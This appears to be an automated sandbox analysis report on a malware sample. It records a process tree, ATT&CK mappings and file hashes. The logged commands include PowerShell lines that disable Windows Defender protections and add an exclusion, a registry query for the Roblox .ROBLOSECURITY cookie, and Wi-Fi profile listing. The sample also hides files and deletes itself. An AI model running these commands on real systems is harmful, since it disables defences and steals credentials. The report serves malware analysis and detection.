Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\FFlags = "1092616257"	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 03000000020000000100000000000000ffffffff	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202	dnSpy.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2412	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2188	chrome.exe
2188	chrome.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2188	chrome.exe
2188	chrome.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
2004	taskmgr.exe
2156	dnSpy.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1960	XClient.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeDebugPrivilege	1960	XClient.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe
Token: SeShutdownPrivilege	2188	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2188	chrome.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe
2004	taskmgr.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
840	iexplore.exe
840	iexplore.exe
2588	IEXPLORE.EXE
2588	IEXPLORE.EXE
2588	IEXPLORE.EXE
2588	IEXPLORE.EXE
2156	dnSpy.exe
2156	dnSpy.exe
2156	dnSpy.exe
2156	dnSpy.exe
2156	dnSpy.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2188 wrote to memory of 2444	2188	chrome.exe	31
PID 2188 wrote to memory of 2444	2188	chrome.exe	31
PID 2188 wrote to memory of 2444	2188	chrome.exe	31
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2760	2188	chrome.exe	33
PID 2188 wrote to memory of 2956	2188	chrome.exe	34
PID 2188 wrote to memory of 2956	2188	chrome.exe	34
PID 2188 wrote to memory of 2956	2188	chrome.exe	34
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35
PID 2188 wrote to memory of 2660	2188	chrome.exe	35

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1052	attrib.exe

C:\Users\Admin\AppData\Local\Temp\XClient.exe
"C:\Users\Admin\AppData\Local\Temp\XClient.exe"
1⤵
- Drops startup file
- Sets desktop wallpaper using registry
- Suspicious use of AdjustPrivilegeToken
PID:1960
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\Desktop\How To Decrypt My Files.html
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:840
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:840 CREDAT:275457 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:2588
- C:\Users\Admin\AppData\Local\Temp\gorvqa.exe
  "C:\Users\Admin\AppData\Local\Temp\gorvqa.exe"
  2⤵
  PID:2780
- - C:\Users\Admin\AppData\Local\Temp\3582-490\gorvqa.exe
    "C:\Users\Admin\AppData\Local\Temp\3582-490\gorvqa.exe"
    3⤵
    PID:372
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:2384
  - - C:\Windows\system32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\3582-490\gorvqa.exe"
      4⤵
      Views/modifies file attributes
      PID:1052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\3582-490\gorvqa.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2388
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:600
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      PID:2476
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      PID:2640
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      PID:2792
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:2096
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:784
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:2576
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\3582-490\gorvqa.exe" && pause
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:2992
    - - C:\Windows\system32\PING.EXE
        
        ping localhost
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2412
- C:\Windows\system32\cmd.exe
  "cmd"
  2⤵
  PID:1548
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1768

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2188
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef21a9758,0x7fef21a9768,0x7fef21a9778
  2⤵
  PID:2444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1156 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:2
  2⤵
  PID:2760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1516 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:8
  2⤵
  PID:2956
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1612 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:8
  2⤵
  PID:2660
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2236 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:1
  2⤵
  PID:2704
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2224 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:1
  2⤵
  PID:556
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1476 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:2
  2⤵
  PID:2540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2888 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:1
  2⤵
  PID:1984
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3680 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:8
  2⤵
  PID:916
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=1576 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:1
  2⤵
  PID:1484
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=2408 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:1
  2⤵
  PID:1896
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:8
  2⤵
  PID:2000
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=1064 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:1
  2⤵
  PID:2800
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=3788 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:1
  2⤵
  PID:2980
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3892 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:8
  2⤵
  PID:1328
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=3700 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:1
  2⤵
  PID:1512
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4080 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:8
  2⤵
  PID:1580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2648 --field-trial-handle=1376,i,15740636399370448248,7677374551963312279,131072 /prefetch:8
  2⤵
  PID:2796

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:2980

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2004

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1484

C:\Users\Admin\Downloads\dnSpy-net-win64\dnSpy.exe
"C:\Users\Admin\Downloads\dnSpy-net-win64\dnSpy.exe"
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2156
- C:\Users\Admin\AppData\Local\Temp\XClient.exe
  "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
  2⤵
  PID:1568
- C:\Users\Admin\AppData\Local\Temp\XClient.exe
  "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
  2⤵
  PID:224

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
PID:1644

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x210
1⤵
PID:2428

C:\Windows\helppane.exe
C:\Windows\helppane.exe -Embedding
1⤵
PID:2792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
31432a7bdbec6f0e4e1e25ac9d093045

SHA1
cc78e71ac9c1d6a6a8448e8b28d54d30f604f180

SHA256
f91fa53e86d4ccaa926c0da940e40e6a95bbcbb916f47bc1218afe3021815fb2

SHA512
73023b8b08c842d756ce513800b2e869bbcaf7215de6e987be2f4c9f2f40ad45a164accf097d716b31c435c6ccc53453a740e9b151edd122976fe2606ddb0543

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
a5683bcab0674f3ef727053ddac7fef1

SHA1
b70b8289f3d46b536f07d33ec794855b93f88a94

SHA256
9013f27511b92e017ffaf7f7f6e44561694e1c317315ac8737cfeeaf460ee691

SHA512
f7c1a04c20c15781e10692feb979b807139c0f2e82692e934cab278688b01acf6796d5bc357664497ac8551db09c89334e98db02a9ff9fb322e57374e0426983

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
b8941d7932ffa0af2ed794a0ba0aa140

SHA1
79ed5e087bc5073376a7822809f9c505825a4afa

SHA256
40ba39cac16585f179fc8da8c137c0c4eb25c2e61ab5e07d50d435ddb4b154ec

SHA512
3c0e04af00bb139912f9ce56e3c930b7c6d37edd4d4c32918a035195ed4d38d0b874f4299c633b423cddd0fa9216a1e839f48f354c7d5f233e0ac04412115542

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
520c03f6d5a8ddbd228e70a289da9086

SHA1
ca11301ec6720b2e2cc14bf57d7bebd34e5fca77

SHA256
5f9f92112f9bd149ce4e19d667044cafc2ead97bd3a45ce88b5b90b67e855eab

SHA512
b4872f646ba7e952d643fe7638eb6e919e512aec94c25b8bffb201f5e57dc1dbf468e5a5c0569e0ce4d6123c47f14acc8b05fd18fabe747ee5b8438a2763c085

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
432b6180a6d67e9d55a294bcf39607d0

SHA1
